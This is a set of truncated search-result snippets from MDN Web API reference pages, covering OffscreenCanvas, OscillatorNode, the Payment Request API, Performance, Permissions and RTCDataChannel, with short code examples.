neaudiocontext is terminated. the complete event implements this interface. note: this interface is marked as deprecated; it is still supported for legacy reasons, but it will soon be superseded when the promise version of offlineaudiocontext.startrendering is supported in browsers, which will no longer need it. constructor offlineaudiocompletionevent.offlineaudiocompletionevent creates a
new offlineaudiocompletionevent object instance. properties also inherits properties from its parent, event. offlineaudiocompletionevent.renderedbuffer read only an audiobuffer containing the result of processing an offlineaudiocontext. methods inherits methods from its parent, event. specifications specification status comment web audio apithe definition of 'offl...
OfflineAudioContext.oncomplete - Web APIs
} example when processing is complete, you might want to use the oncomplete handler the prompt the user that the audio can now be played, and enable the play button. ...
OffscreenCanvas.convertToBlob() - Web APIs
ing the image format. the default type is image/png. quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp. if this argument is anything else, the default value for image quality is used. other arguments are ignored. return value a promise returning a blob object representing the image contained in the canvas. examples var offscreen =
new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ... some drawing using the gl context ... offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications currently drafted as a proposal: offscreencanvas. ...
OffscreenCanvas() - Web APIs
the offscreencanvas() constructor returns a
newly instantiated offscreencanvas object. syntax
new offscreencanvas(width, height); parameters width the width of the offscreen canvas. height the height of the offscreen canvas. examples this example creates a
new offscreen canvas using the offscreencanvas() constructor. we then initialize a webgl context on it using the getcontext() method. let offscreen =
new offscreencanvas(256, 256); let gl = offscreen.getcontext('webgl'); specifications specification status comment html living standardthe definition of 'offscreencanvas()' in that specification. living standard ...
OffscreenCanvas.convertToBlob() - Web APIs
ing the image format. the default type is image/png. quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp. if this argument is anything else, the default value for image quality is used. other arguments are ignored. return value a promise returning a blob object representing the image contained in the canvas. examples var offscreen =
new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ... some drawing using the gl context ... offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications specification status comment html living standardthe definition of 'offscreencanvas: converttoblob' in that specification. ...
OffscreenCanvas.getContext() - Web APIs
ance is low. return value a renderingcontext which is either a canvasrenderingcontext2d for "2d", webglrenderingcontext for "webgl" and "experimental-webgl", webgl2renderingcontext for "webgl2" and "experimental-webgl2" , or imagebitmaprenderingcontext for "bitmaprenderer". if the contexttype doesn't match a possible drawing context, null is returned. examples var offscreen =
new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); gl; // webglrenderingcontext gl.canvas; // offscreencanvas specifications specification status comment html living standardthe definition of 'offscreencanvas.getcontext()' in that specification. living standard ...
OffscreenCanvas.height - Web APIs
the height property returns and sets the height of an offscreencanvas object. syntax var pxl = offscreen.height; offscreen.height = pxl; examples creating a
new offscreen canvas and returning or setting the height of the offscreen canvas: var offscreen =
new offscreencanvas(256, 256); offscreen.height; // 256 offscreen.height = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.height' in that specification. living standard ...
OffscreenCanvas.convertToBlob() - Web APIs
ing the image format. the default type is image/png. quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp. if this argument is anything else, the default value for image quality is used. other arguments are ignored. return value a promise returning a blob object representing the image contained in the canvas. examples var offscreen =
new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ... some drawing using the gl context ... offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications currently drafted as a proposal: offscreencanvas. ...
OffscreenCanvas.width - Web APIs
the width property returns and sets the width of an offscreencanvas object. syntax var pxl = offscreen.width; offscreen.width = pxl; examples creating a
new offscreen canvas and returning or setting the width of the offscreen canvas: var offscreen =
new offscreencanvas(256, 256); offscreen.width; // 256 offscreen.width = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.width' in that specification. living standard ...
OscillatorNode.detune - Web APIs
tx.currenttime); // value in cents note: though the audioparam returned is read-only, the value it represents is not. value an a-rate audioparam. example the following example shows basic usage of an audiocontext to create an oscillator node. for applied examples/information, check out our violent theremin demo (see app.js for relevant code). ...
OscillatorNode.frequency - Web APIs
40, audioctx.currenttime); // value in hertz note: though the audioparam returned is read-only, the value it represents is not. value an a-rate audioparam. example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'frequency' in that specification. wo...
OscillatorNode.onended - Web APIs
the ended event, which fires when the tone has stopped playing. syntax var oscillator = audioctx.createoscillator(); oscillator.onended = function() { ... }; example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.value = 440; // value in hertz oscillator.start(); // start the tone playing oscillator.stop(5); // the tone will stop again in 5 seconds. oscillator.onended = function() { console.log('your tone has now stopped playin...
OscillatorNode.setPeriodicWave() - Web APIs
is custom. this replaces the now-obsolete oscillatornode.setwavetable(). syntax oscillatornode.setperiodicwave(wave); parameters wave a periodicwave object representing the waveform to use as the shape of the oscillator's output. returns undefined example the following example illustrates simple usage of createperiodicwave(), recreating a sine wave from a periodic wave. var real =
new float32array(2); var imag =
new float32array(2); var ac =
new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave. here...
OscillatorNode.start() - Web APIs
e coordinate system as audiocontext's currenttime attribute. if a value is not included or is less than currenttime, the oscillator starts playing immediately. example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'start' in that specification. worki...
OscillatorNode.stop() - Web APIs
. if a value is not included, it defaults to 0. if the time is equal to or before the current audio context time, the oscillator will stop playing immediately. example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). ...
OscillatorNode.type - Web APIs
ions invalidstateerror the value custom was specified. to set a custom waveform, just call setperiodicwave(). doing so automatically sets the type for you. example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'type' in that specification. working...
OverconstrainedError - Web APIs
strainederror interface of the media capture and streams api indicates that the set of desired capabilities for the current mediastreamtrack cannot currently be met. when this event is thrown on a mediastreamtrack, it is muted until either the current constraints can be established or until satisfiable constraints are applied. constructor overconstrainederror.overconstrainederror() creates a
new overconstrainederror object. properties overconstrainederror.constraint read only returns the constraint that was supplied in the constructor, meaning the constraint that was not satisfied. overconstrainederror.message read only returns the text supplied in the constructor. overconstrainederror.name read only will always return overconstrainederror. methods none. specifications ...
Page Visibility API - Web APIs
eners know the state of the page has changed. you can detect the event and perform some actions or behave differently. for example, if your web app is playing a video, it can pause the video when the user puts the tab into the background, and resume playback when the user returns to the tab. the user doesn't lose their place in the video, the video's soundtrack doesn't interfere with audio in the
new foreground tab, and the user doesn't miss any of the video in the meantime. visibility states of an <iframe> are the same as the parent document. hiding an <iframe> using css properties (such as display: none;) doesn't trigger visibility events or change the state of the document contained within the frame. use cases let's consider a few use cases for the page visibility api. a site has an ...
ParentNode.childElementCount - Web APIs
return count; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.childelementcount' in that specification. living standard split the elementtraversal interface in childnode and parentnode. this method is now defined on the latter. the document and documentfragment implemented the
new interfaces. element traversal specificationthe definition of 'elementtraversal.childelementcount' in that specification. obsolete added its initial definition to the elementtraversal pure interface and use it on element. ...
ParentNode.firstElementChild - Web APIs
ll; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.firstelementchild' in that specification. living standard split the elementtraversal interface in childnode and parentnode. this method is now defined on the latter. the document and documentfragment implemented the
new interfaces. element traversal specificationthe definition of 'elementtraversal.firstelementchild' in that specification. obsolete added its initial definition to the elementtraversal pure interface and use it on element. ...
ParentNode.prepend() - Web APIs
s a set of node objects or domstring objects before the first child of the parentnode. domstring objects are inserted as equivalent text nodes. syntax parentnode.prepend(...nodestoprepend); parameters nodestoprepend one or more nodes to insert before the first child node currently in the parentnode. each node can be specified as either a node object or as a string; strings are inserted as
new text nodes. return value undefined. exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy. examples prepending an element var parent = document.createelement("div"); var p = document.createelement("p"); var span = document.createelement("span"); parent.append(p); parent.prepend(span); console.log(parent.childnodes); // nodelist [ <span>, <p>...
ParentNode.replaceChildren() - Web APIs
these can be domstring or node objects. syntax // [throws, unscopable] parentnode.replacechildren(...nodesordomstrings) // returns undefined parameters nodesordomstrings a set of node or domstring objects to replace the parentnode's existing children with. if no replacement objects are specified, then the parentnode is emptied of all child nodes. exceptions hierarchyrequesterror: the constraints of the node tree are violated. ...
ParentNode - Web APIs
text nodes. parentnode.queryselector() returns the first element with the current element as root that matches the specified group of selectors. parentnode.queryselectorall() returns a nodelist representing a list of elements with the current element as root that matches the specified group of selectors. parentnode.replacechildren() replaces the existing children of a node with a specified
new set of children. specification specification status comment domthe definition of 'parentnode' in that specification. living standard split the elementtraversal interface into childnode and parentnode. the parentnode.firstelementchild, parentnode.lastelementchild, and parentnode.childelementcount properties are now defined on the latter. added the parentnode.childr...
PasswordCredential.additionalData - Web APIs
instance, a urlsearchparams instance, or null. example the following example creates a formdata object with an appended csrf token. it then stores the form object in the additionaldata parameter, before sending it to server in a call to fetch. //the options object was previously created. navigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form =
new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition. ...
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent interface of the payment request api describes the paymentmethodchange event which is fired by some payment handlers when the user switches payment instruments (e.g., a user selects a "store" card to make a purchase while using apple pay). constructor paymentmethodchangeevent() creates and returns a
new paymentmethodchangeevent object, optionally initialized with values taken from a given paymentmethodchangeeventinit dictionary. properties in addition to the properties below, this interface includes properties inherited from paymentrequestupdateevent. methoddetails read only secure context an object containing payment method-specific data useful when handling a payment method change. if no such information is available, this value is null. ...
PaymentRequest.abort() - Web APIs
the paymentrequest.abort() method of the paymentrequest interface causes the user agent to end the payment request and to remove any user interface that might be shown. syntax paymentrequest.abort(); returns void. parameters none examples the following example sets up a timeout to clear the payment request that might have been abandoned or neglected. ...
PaymentRequest.prototype.id - Web APIs
are able to supply an custom id via paymentdetailsinit dictionary's id member. if none is provided, the browser automatically sets the id value to a uuid. example this example shows how to give a paymentrequest instance a custom id. const details = { id: "super-store-order-123-12312", total: { label: "total due", amount: { currency: "usd", value: "65.00" }, }, }; const request =
new paymentrequest(methoddata, details); console.log(request.id); // super-store-order-123-12312 the id is then also available in the paymentresponse returned from the show() method, but under the requestid attribute. const response = await request.show(); console.log(response.requestid === request.id); // and in serialized form too const json = response.tojson(); console.log(json.requestid,respo...
PaymentRequest.onshippingaddresschange - Web APIs
f the address stored by the user agent changes at any time during a payment process, the event is triggered. to make sure an updated address is included when sending payment information to the server, you should add event listeners for a paymentrequest object after instantiation, but before the call to show(). // initialization of paymentrequest arguments are excerpted for clarity. var payment =
new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(
new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of clarity. }).catch(function(err) { console.e...
PaymentRequest.onshippingoptionchange - Web APIs
if the option stored by the user agent changes at any time during a payment process, the event is triggered. to make sure an updated option is included when sending payment information to the server, you should add event listeners for a paymentrequest object after instantiation, but before the call to show(). // initialization of paymentrequest arguments are excerpted for clarity. ...
PaymentRequest.shippingAddress - Web APIs
hen calling the paymentrequest constructor. in the example below, the cost of shipping varies by geography. when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost. // initialization of paymentrequest arguments are excerpted for the sake of // brevity. var payment =
new paymentrequest(supportedinstruments, details, options); payment.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(
new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for brevity. }).catch(function(err) { console.error("uh...
PaymentRequest: shippingaddresschange event - Web APIs
some portions of its content altered, obscured, or left out entirely in order to prevent identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address). example in this example, a handler for the shippingaddresschange event is set up to validate that the address meets requirements set by the web application. const paymentrequest =
new paymentrequest(methoddata, details, options); paymentrequest.addeventlistener("shippingaddresschange", event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress); event.updatewith(detailsupate); }, false); const checkaddress = theaddress => { let detailsupdate = {}; // check the address, return a paymentdetailsupdate object // with any changes or errors. return de...
PaymentRequest - Web APIs
properties paymentrequest.id read only secure context an unique identifier for a particular paymentrequest, which can be set via details.id. when none is set, it defaults to a uuid. ...
PaymentRequestEvent() - Web APIs
options optional options are as follows: instrumentkey: a paymentinstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or chosen a payment instrument. methoddata: an array of paymentmethoddata objects containing payment method identifers for the payment methods that the web site accepts and any associated payment method specific data. ...
PaymentResponse.onpayerdetailchange - Web APIs
payerdetailchange event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected. const options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request =
new paymentrequest(methods, details, options); const response = request.show(); // get the data from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed. response.onpayerdetailchange = async ev => { const promisestovalidate = []; const { payer...
PaymentResponse: payerdetailchange event - Web APIs
payerdetailchange event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected. const options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request =
new paymentrequest(methods, details, options); const response = request.show(); // get the data from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed. response.onpayerdetailchange = async ev => { const promisestovalidate = []; const { payer...
PaymentResponse.shippingAddress - Web APIs
ipping to true when calling the paymentrequest constructor. in the example below, the cost of shipping varies by geography. when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost. // initialization of paymentrequest arguments are excerpted for brevity. var payment =
new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(
new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity. }).catch(function(err) { console.e...
PaymentResponse.shippingOption - Web APIs
n the paymentoptions object passed to the paymentrequest constructor. syntax var shippingoption = paymentrequest.shippingoption; example in the example below, the paymentrequest.onshippingaoptionchange event is called. it calls updatedetails() to toggle the shipping method between "standard" and "express". // initialization of paymentrequest arguments are excerpted for brevity. var payment =
new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingoptionchange', function(evt) { evt.updatewith(
new promise(function(resolve, reject) { updatedetails(details, request.shippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity. }).catch(function(err)...
Payment Request API - Web APIs
payment request concepts and usage many problems related to online shopping-cart abandonment can be traced to checkout forms, which can be difficult and time consuming to fill out and often require multiple steps to complete. the payment request api is meant to reduce the number of steps needed to complete a payment online, potentially doing away with checkout forms. ...
performance.clearResourceTimings() - Web APIs
and sets the size of the performance data buffer to zero. to set the size of the browser's performance data buffer, use the performance.setresourcetimingbuffersize() method. note: this feature is available in web workers. syntax performance.clearresourcetimings(); arguments void return value none this method has no return value. ...
performance.measure() - Web APIs
the name of a performancetiming property. if it is omitted, then the start time will be the navigation start time. endmark optional a domstring representing the name of the measure's ending mark. may also be the name of a performancetiming property. if it is omitted, then the current time is used. return value void example the following example shows how measure() is used to create a
new measure performance entry in the browser's performance entry buffer. const markernamea = "example-marker-a" const markernameb = "example-marker-b" // run some nested timeouts, and create a performancemark for each. performance.mark(markernamea); settimeout(function() { performance.mark(markernameb); settimeout(function() { // create a variety of measurements. performance.measure("m...
PerformanceObserver.takeRecords() - Web APIs
the takerecords() method of the performanceobserver interface returns the current list of performance entries stored in the performance observer, emptying it out. syntax var performanceentry[] = performanceobserver.takerecords(); parameters none. return value a list of performanceentry objects. ...
PerformanceObserverEntryList - Web APIs
erentrylist.getentriesbytype() returns a list of explicitly observed performanceentry objects of the given entry type. performanceobserverentrylist.getentriesbyname() returns a list of explicitly observed performanceentry objects based on the given name and entry type. example // create observer for all performance event types // list is of type performanceobserveentrylist var observe_all =
new performanceobserver(function(list, obs) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); // do something with it } }) specifications specification status comment performance timeline level 2the definition of 'performanceobserverentrylist' in that specification. candidate recomm...
PerformanceTiming.requestStart - Web APIs
e legacy performancetiming.requeststart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser sent the request to obtain the actual document, from the server or from a cache. if the transport layer fails after the start of the request and the connection is reopened, this property will be set to the time corresponding to the
new request. syntax time = performancetiming.requeststart; specifications specification status comment navigation timingthe definition of 'performancetiming.requeststart' in that specification. recommendation initial definition. ...
PerformanceTiming - Web APIs
d only when the secure connection handshake starts. if no such connection is requested, it returns 0. performancetiming.requeststart read only when the browser sent the request to obtain the actual document, from the server or from a cache. if the transport layer fails after the start of the request and the connection is reopened, this property will be set to the time corresponding to the
new request. performancetiming.responsestart read only when the browser received the first byte of the response, from the server from a cache, or from a local resource. performancetiming.responseend read only when the browser received the last byte of the response, or when the connection is closed if this happened first, from the server, the cache, or from a local resource. performanc...
Performance API - Web APIs
to add a nameddomhighrestimestamp (the measure) between two marks to the browser's performance timeline. performancenavigationtiming provides methods and properties to store and retrieve high resolution timestamps or metrics regarding the browser's document navigation events. performanceobserver provides methods and properties used to observe performance measurement events and be notified of
new performance entries as they are recorded in the browser's performance timeline. performanceresourcetiming provides methods and properties for retrieving and analyzing detailed network timing data regarding the loading of an application's resources. specifications specification status comment high resolution time recommendation initial definition. high r...
Permissions.query() - Web APIs
ssionstatus object. exceptions exception explanation typeerror retrieving the permissiondescriptor information failed in some way, or the permission doesn't exist or is currently unsupported (e.g. midi, or push with uservisibleonly). example navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state == 'granted') { showlocal
newswithgeolocation(); } else if (result.state == 'prompt') { showbuttontoenablelocal
news(); } // don't do anything if the permission was denied. }); specification specification status comment permissionsthe definition of 'query()' in that specification. working draft initial definition. ...
Permissions - Web APIs
o use a given api. this is not currently supported in any browser. permissions.requestall() requests permission to use a given set of apis. this is not currently supported in any browser. permissions.revoke() revokes the permission currently set on a given api. example navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state === 'granted') { showlocal
newswithgeolocation(); } else if (result.state === 'prompt') { showbuttontoenablelocal
news(); } // don't do anything if the permission was denied. }); specification specification status comment permissionsthe definition of 'permissions' in that specification. working draft initial definition. browser support the compatibility table on this page is ge...
PhotoCapabilities - Web APIs
le also shows how the imagecapture object is created using a mediastreamtrack retrieved from a device's mediastream. ...
PluginArray - Web APIs
ion of the shockwave flash plugin. var pluginslength = navigator.plugins.length; document.body.innerhtml = pluginslength + " plugin(s)<br>" + '<table id="plugintable"><thead>' +'<tr><th>name</th><th>filename</th><th>description</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let
newrow = table.insertrow();
newrow.insertcell().textcontent = navigator.plugins[i].name;
newrow.insertcell().textcontent = navigator.plugins[i].filename;
newrow.insertcell().textcontent = navigator.plugins[i].description;
newrow.insertcell().textcontent = navigator.plugins[i].version?navigator.plugins[i].version:""; } the following example displays information about the installed plugin(s). ...
Multi-touch interaction - Web APIs
lack; } #target3 { background: white; border: 1px solid black; } </style> global state to support multi-touch interaction, preserving a pointer's event state during various event phases is required. this application uses three arrays to cache event state, one cache per target element. // log events flag var logevents = false; // event caches, one per touch target var evcache1 =
new array(); var evcache2 =
new array(); var evcache3 =
new array(); register event handlers event handlers are registered for the following pointer events: pointerdown, pointermove and pointerup. the handler for pointerup is used for the pointercancel, pointerout and pointerleave events, since these four events have the same semantics in this application. function set_handlers(name) { // instal...
Pinch zoom gestures - Web APIs
pointers' target areas. <style> div { margin: 0em; padding: 2em; } #target { background: white; border: 1px solid black; } </style> global state supporting a two-pointer gesture requires preserving a pointer's event state during various event phases. this application uses two global variables to cache the event state. // global vars to cache event state var evcache =
new array(); var prevdiff = -1; register event handlers event handlers are registered for the following pointer events: pointerdown, pointermove and pointerup. the handler for pointerup is used for the pointercancel, pointerout and pointerleave events since these four events have the same semantics in this application. function init() { // install event handlers for the pointer target var el=do...
ProgressEvent() - Web APIs
type is a domstring representing the name of the type of the progressevent. it is case-sensitive. lengthcomputable optional is a boolean flag indicating if the total work to be done, and the amount of work already done, by the underlying process is calculable. in other words, it tells if the progress is measurable or not. it defaults to false. ...
PublicKeyCredentialRequestOptions.challenge - Web APIs
t least 16 bytes long. syntax challenge = publickeycredentialrequestoptions.challenge value a buffersource which is at least 16 bytes long. contains a cryptographic challenge emitted from the relying party's server which must be signed by the authenticator's private key and sent back (within the response) to the relying party's server for verification. ...
PublicKeyCredentialRequestOptions.extensions - Web APIs
e optional and different browsers may recognize different extensions. all extensions are optional for the client to process them: if a browser does not know a given extension, that will not cause any failure, the extension simply will not be processed. ...
PublicKeyCredentialRequestOptions.rpId - Web APIs
ent origin's domain. note: an analogous option exists for the creation operation (navigators.credentials.create()), see the id property of publickeycredentialcreationoptions.rp. syntax rpid = publickeycredentialrequestoptions.rpid value a usvstring for the identifier of the relying party. its value can only be a suffix of the current origin's domain. ...
PublicKeyCredentialRequestOptions.timeout - Web APIs
h may be overridden by the browser. note: an analogous option exists for the creation operation (navigators.credentials.create()), see publickeycredentialcreationoptions.timeout. syntax timeout = publickeycredentialrequestoptions.timeout value a numerical hint, expressed in milliseconds, giving the time to wait for the creation operation to complete. ...
PublicKeyCredentialRequestOptions.userVerification - Web APIs
"preferred": user verification is prefered, the operation will not fail if the response does not have the uv flag (as part of authenticatorassertionresponse.authenticatordata) "discouraged": user verification should not be employed as to minimize the user interaction during the process. the default value is "preferred". ...
PushManager.registrations() - Web APIs
version the current version that the push endpoint is at. example var req = navigator.push.registrations(); req.onsuccess = function(e) { if (req.result.length > 0) { for (var i = 0, l = req.result.length; i < l; i++) { console.log("existing registration", req.result[i].pushendpoint, req.result[i].version); } // reuse existing endpoints. } else { // register for a
new endpoint. var register = navigator.push.register(); register.onsuccess = function(e) { console.log("registered
new endpoint", register.result); } } } specification specification status comment push api working draft defines the pushmanager interface. ...
PushManager.subscribe() - Web APIs
syntax pushmanager.subscribe(options).then(function(pushsubscription) { ... } ); parameters options optional an object containing optional configuration parameters. ...
PushManager - Web APIs
no existing subscription exists, this resolves to a null value. pushmanager.permissionstate() returns a promise that resolves to the permission state of the current pushmanager, which will be one of 'granted', 'denied', or 'prompt'. pushmanager.subscribe() subscribes to a push service. it returns a promise that resolves to a pushsubscription object containing details of a push subscription. a
new push subscription is created if the current service worker does not have an existing subscription. deprecated methods pushmanager.haspermission() returns a promise that resolves to the pushpermissionstatus of the requesting webapp, which will be one of granted, denied, or default. replaced by pushmanager.permissionstate(). pushmanager.register() subscribes to a push subscription. repl...
RTCConfiguration.certificates - Web APIs
upports providing multiple certificates because even though a given dtls connection uses only one certificate, providing multiple certificates allows support for multiple encryption algorithms. the implementation of rtcpeerconnection will choose which certificate to use based on the algorithms it and the remote peer support, as determined during dtls handshake. if you don't provide certificates,
new ones are generated automatically. one obvious benefit to providing your own is identity key continuity—if you use the same certificate for subsequent calls, the remote peer can tell you're the same caller. this also avoids the cost of generating
new keys. <<<--- add link to information about identity --->>> examples specifications specification status comment webrtc ...
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
the rtcdtmftonechangeevent() constructor creates a
new rtcdtmftonechangeevent. syntax var event =
new rtcdtmftonechangeevent(type, options); parameters type a domstring containing the name of the event. this is always "tonechange". options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a domstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the previous tone has stopped playing. see tone characters for details on what characters are permitted. return value a
newly-created rtcdtmftonechangeevent, configured as specified in the provided options. tone characters the digits 0-9 these characters represent the digit keys on a telepho...
RTCDTMFToneChangeEvent - Web APIs
tones have started or finished playing. this interface is used by the tonechange event. properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the previous tone has finished playing. constructors rtcdtmftonechangeevent() returns a
new rtcdtmftonechangeevent. it takes two parameters, the first being a domstring representing the type of the event (always "tonechange"); the second a dictionary containing the initial state of the properties of the event. methods supports the methods defined in event. there are no additional methods. examples this snippet is derived loosely from the full, working example you'll find in when a ...
RTCDataChannel.binaryType - Web APIs
ned in arraybuffer objects. example this code configures a data channel to receive binary data in arraybuffer objects, and establishes a listener for message events which constructs a string representing the received data as a list of hexadecimal byte values. var dc = peerconnection.createdatachannel("binary"); dc.binarytype = "arraybuffer"; dc.onmessage = function(event) { let bytearray =
new uint8array(event.data); let hexstring = ""; bytearray.foreach(function(byte) { hexstring += byte.tostring(16) + " "; }); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.binarytype' in that specification. candidate recommendation initial specification. ...
RTCDataChannel: bufferedamountlow event - Web APIs
event handler property onbufferedamountlow examples this example sets up a handler for bufferedamountlow to request more data any time the data channel's buffer falls below the number of bytes specified by bufferedamountlowthreshold, which we have set to 65536. in other words, we'll try to keep at least 64kb of data in the buffer, reading 64kb at a time from the source. ...
RTCDataChannel.close() - Web APIs
set to "closed". if the transport was closed with an error, the rtcdatachannel is sent a networkerror event. a close event is sent to the channel. in firefox, the rtcdatachannel interface was implemented under the name datachannel until firefox 24, so this method was called datachannel.close(). syntax rtcdatachannel.close(); parameters none. return value undefined. example var pc =
new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); dc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function ( console.log("datachannel close"); }; // now negotiate the connection and so forth... spe...
RTCDataChannel: close event - Web APIs
the close event is sent to the onclose event handler on an rtcdatachannel instance when the data transport being used for the data channel has closed. before any further data can be transferred using rtcdatachannel, a
new data channel instance must be created. bubbles no cancelable no interface event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a
new call to be started. dc.addeventlistener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; di...
RTCDataChannel: error event - Web APIs
rror", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart of an association with
new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": cons...
RTCDataChannel.id - Web APIs
fies the data channel. while the label property doesn't have to be unique, this id number is guaranteed to be unique among all data channels. additionally, known implementations of webrtc use the same id on both peers. a unique id makes it easier for your code to do its own out-of-band data channel-related signaling. this can be also useful for logging and debugging purposes. example var pc =
new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); console.log("channel id: " + dc.id); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.id' in that specification. candidate recommendation initial specification. ...
RTCDataChannel.label - Web APIs
that. syntax var name = adatachannel.label; value a string identifier assigned by the web site or app when the data channel was created, as specified when rtcpeerconnection.createdatachannel() was called to create the channel. example this sample creates a data channel on an rtcpeerconnection, then, some time later, sets the content of a ui element to display the channel's name. var pc =
new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); /* ... */ document.getelementbyid("channel-name").innerhtml = "<span class='channelname'>" + dc.label + "</span>"; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.label' in that specification. candidate rec...
